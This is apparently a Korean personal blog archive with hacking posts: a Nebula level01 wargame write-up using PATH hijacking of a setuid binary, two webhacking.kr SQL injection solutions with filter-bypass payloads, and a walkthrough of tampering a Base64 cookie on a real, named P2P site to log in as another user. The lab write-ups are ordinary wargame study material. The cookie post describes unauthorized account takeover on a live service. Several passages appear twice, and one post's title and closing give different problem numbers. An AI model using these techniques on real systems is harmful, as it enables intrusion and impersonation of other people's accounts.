2013년 8월 1일 목요일
Exploit exercises nebular level 01
Exploit exercises nebular level 01
#include <stdlib.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp) {
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
system("/usr/bin/env echo and now what?");
}
1.
우선 소스를 보면 echo 가 어떤것을 실행하려하기 때문에 PATH 를 조작하여야됨을 알수있다.
그리하여
level01@nebula:/home/flag01$ PATH=/tmp:$PATH
로 조작후,
level01@nebula:/home/flag01$ export PATH level01@nebula:/home/flag01$ echo $PATH /tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin :/usr/games
를 하면 PATH 의 값에는 저렇게 들어가지게 된다. 고로 . /bin/bash 를 심볼릭 링크로 /tmp/echo 로 지정해놓고는, flag01 을 실행시키면,
echo: and: No such file or directory
다음과 같은 오류가 발생한다.
그 이유는 echo 뒤에있는 파라미터값때문에 그런것인데 그러므로, 우선
/tmp/echo 를 rm 으로 없애주고,
level01@nebula:/home/flag01$ ln -s /bin/bash /tmp/echo2 level01@nebula:/home/flag01$ echo -e'#!/bin/bash\n/tmp/echo2' > /tmp/echo;chmod +x /tmp/echo
이런 형식으로 한다면, 원하는데로 나올수도 있을것이다. 결론은
level01@nebula:/home/flag01$ ./flag01 flag01@nebula:/home/flag01$ getflag
You have successfully executed getflag on a target account
이렇게 getflag 를 얻게된다.
2.
쉘을 실행시켜주는 프로그램을 작성하여 그 프로그램의 이름을 echo로 컴파일하여 /tmp 폴더에 넣어준후, PATH에 /tmp를 추가한다면, echo시 쉘을 실행시켜주는 프로그램이 실행되면서, getflag를 할수있게 된다.
#include <stdio.h>
int main()
{
system("/bin/sh");
system("/bin/sh");
}
2013년 3월 23일 토요일
webhacking.kr - 39번문제
- webhacking.kr - 39번문제 -
[sql injection]
1. 초기화면은 입력창과 submit버튼 뿐이다.
소스보기를 선택하여 index.phps가 존재함을 알아낼수있다.
2. index.phps를 url에 치고 들어가보면, 이런 화면을 만날수있다.
str_replace함수 뒤에 어떻게 바뀌는지 알수가있다.
또한 substr(0,15)를 보아 15자리쿼리문을 작성해야함을 알수있다.
한가지 더 따진다면 쿼리문 부분에 '가 닫히지 않음을 알수있다 그러므로 '가 삽입값에 필요하다는것을 짐작할수있다.
[sql injection]
1. 초기화면은 입력창과 submit버튼 뿐이다.
소스보기를 선택하여 index.phps가 존재함을 알아낼수있다.
2. index.phps를 url에 치고 들어가보면, 이런 화면을 만날수있다.
str_replace함수 뒤에 어떻게 바뀌는지 알수가있다.
또한 substr(0,15)를 보아 15자리쿼리문을 작성해야함을 알수있다.
한가지 더 따진다면 쿼리문 부분에 '가 닫히지 않음을 알수있다 그러므로 '가 삽입값에 필요하다는것을 짐작할수있다.
3. 그러므로 최종 삽입값은 [admin '] 이다. 총 15개.
2013년 3월 22일 금요일
webhacking.kr - 18번문제
- webhacking.kr - 18번문제 -
[sql injection]
1. sql injection 문제이다. 하단의 index.phps링크를 클릭하여 소스를 확인한다.
2. index.phps소스 확인 결과 admin 은 no값이 2 일때 나오는것을 유추해볼수 있다.
그렇다면 2 or 1 를 입력시 no=1 <= false 이고 false or 1 이므로 true 값이 되면서 guest가 나와야 한다는것을 미루어 짐작할수있다.
3. 1을 입력시 guest가 나온다.
4. 1 or 2 나 2 or 1을 넣었을때 no hack 이라고 뜬다.
이유는 eregi에 띄어쓰기 검사가 있으므로 띄어쓰기를 하면 안된다.
그러므로 %0a를 쓰도록 한다.
2 or 1 => 2%0aor%0a1 대입시 guest가 출력된다.
5. guest=1 이고 admin=2이므로 1을 넣었을때 guest가 나오는건 당연한것이므로 2를 넣기위해 limit 을 사용하도록 하자.
최종 쿼리 = 2%0aor%0a1%0alimit%0a1,1 를 url 부분 no=뒷부분에 삽입한다.
이문제는 이미 풀었던 문제이므로 already solved 메세지가 뜨는데, 원래는 hi admin 과 password가 출력된다.
이상 webhacking.kr 4번문제 sql(url) injection 이였습니다.
[sql injection]
1. sql injection 문제이다. 하단의 index.phps링크를 클릭하여 소스를 확인한다.
2. index.phps소스 확인 결과 admin 은 no값이 2 일때 나오는것을 유추해볼수 있다.
그렇다면 2 or 1 를 입력시 no=1 <= false 이고 false or 1 이므로 true 값이 되면서 guest가 나와야 한다는것을 미루어 짐작할수있다.
3. 1을 입력시 guest가 나온다.
4. 1 or 2 나 2 or 1을 넣었을때 no hack 이라고 뜬다.
이유는 eregi에 띄어쓰기 검사가 있으므로 띄어쓰기를 하면 안된다.
그러므로 %0a를 쓰도록 한다.
2 or 1 => 2%0aor%0a1 대입시 guest가 출력된다.
5. guest=1 이고 admin=2이므로 1을 넣었을때 guest가 나오는건 당연한것이므로 2를 넣기위해 limit 을 사용하도록 하자.
최종 쿼리 = 2%0aor%0a1%0alimit%0a1,1 를 url 부분 no=뒷부분에 삽입한다.
이문제는 이미 풀었던 문제이므로 already solved 메세지가 뜨는데, 원래는 hi admin 과 password가 출력된다.
이상 webhacking.kr 4번문제 sql(url) injection 이였습니다.
2013년 3월 21일 목요일
Web hacking - 쿠키 변조
Web hacking - 쿠키 변조
- 누구나 할수있는 매우 간단한 쿠키 변조 -
1. p2p사이트 airfile.co.kr 접속후 로그인
2. 자바스크립트 콘솔창을 열고 document.cookie 를 쳐서 현재 페이지 쿠키값을 알아본다.
3. Base64로 암호화 되있는 쿠키값을 coderstoolbox.com에서 푼다.
4. 공격대상 아이디를 알아본다.
5. 아이디를 암호를 풀어놓은 쿠키값에 자신의 아이디 부분대신 삽입한다.
6. 다시 암호화 한후 현재 자신의 쿠키값 대신 새로 만든 쿠키를 삽입하고 적용한다.
7. 새로고침을 하면 아까 선택햇던 유저의 아이디로 접속되어 있는것이 보인다.
[포인트가 없는 유저...]
이상 누구나 할수있는 매우 간단한 웹해킹 - 쿠키변조 이였습니다.
- 누구나 할수있는 매우 간단한 쿠키 변조 -
1. p2p사이트 airfile.co.kr 접속후 로그인
2. 자바스크립트 콘솔창을 열고 document.cookie 를 쳐서 현재 페이지 쿠키값을 알아본다.
3. Base64로 암호화 되있는 쿠키값을 coderstoolbox.com에서 푼다.
4. 공격대상 아이디를 알아본다.
5. 아이디를 암호를 풀어놓은 쿠키값에 자신의 아이디 부분대신 삽입한다.
6. 다시 암호화 한후 현재 자신의 쿠키값 대신 새로 만든 쿠키를 삽입하고 적용한다.
7. 새로고침을 하면 아까 선택햇던 유저의 아이디로 접속되어 있는것이 보인다.
[포인트가 없는 유저...]
이상 누구나 할수있는 매우 간단한 웹해킹 - 쿠키변조 이였습니다.
피드 구독하기:
글 (Atom)











.png)
.png)
.png)
.png)
.png)
.png)
.png)